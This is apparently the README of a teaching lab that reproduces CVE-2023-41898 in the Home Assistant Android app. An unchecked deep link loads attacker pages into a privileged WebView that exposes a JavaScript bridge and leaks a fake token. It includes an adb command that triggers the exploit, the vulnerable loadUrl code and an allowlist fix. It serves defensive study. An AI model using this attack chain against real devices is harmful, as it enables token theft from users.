
Разбор CVE-2023-41898: эксплуатация непроверенной глубокой ссылки в Home Assistant Android для загрузки произвольных URL-адресов в привилегированном WebView и утечки поддельного токена.
Это учебная лаборатория уменьшенного воспроизведения, созданная на основе публичного отчёта об уязвимости (GHSL-2023-142) Home Assistant Companion for Android и структуры исходного кода уязвимой версии 2023.8.2.
Реальные сервер, учётная запись и токены Home Assistant не используются. Раскрывается только фиксированный виртуальный токен LAB_TOKEN_CVE_2023_41898_NOT_REAL.
2023.9.2 (по официальной рекомендации)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ 검증 없이 JavaScript-enabled WebView.loadUrl()
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ 공격자 페이지에 externalApp JavaScript bridge 노출
▼
가상 LAB_TOKEN 표시
intent-filter в Android manifest лишь определяет, какие URI сопоставляются с неявными Intent, но не проверяет автоматически data URI для Intent, в которых компонент указан явно.
victim/: приложение, воспроизводящее уязвимый обработчик deep link и привилегированный WebViewattacker/: приложение, отправляющее явный Intent в exported Activity приложения-жертвыweb/: локально размещаемые страницы атаки первого и второго этаповdist/: проверенные debug APKUPSTREAM.md: соответствие между исходным кодом и реализацией лабораторииТребования: JDK 17 или выше, Android SDK 36, кэш Gradle/Android Gradle Plugin или подключение к интернету.
./gradlew :victim:assembleDebug :attacker:assembleDebug
Запускайте только на разрешённом эмуляторе или тестовом устройстве.
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
Выполните следующую команду в корне лаборатории.
python3 -m http.server 8000 --directory web
В стандартном эмуляторе Android Studio адрес 10.0.2.2 указывает на loopback хост-ПК. При использовании реального тестового устройства измените web/exploit.html и URL в приложении атакующего на LAN IP ПК.
CVE-2023-41898 Victim и CVE-2023-41898 Attacker.homeassistant://navigate/.LAB_TOKEN_CVE_2023_41898_NOT_REAL.Первый этап можно вызвать через ADB и без приложения атакующего.
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
Уязвимая реализация загружает внешний URI как есть.
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
При исправлении необходимо проверять scheme, host, port и path разобранного URI по строгому allowlist. Не используйте строковое сравнение startsWith из-за риска обхода через userinfo ([email protected]), поддомены и кодирование.
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
Кроме того, удалите из WebView необязательные JavaScript и JavascriptInterface и применяйте ту же проверку URL ко всем навигациям и перенаправлениям.
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2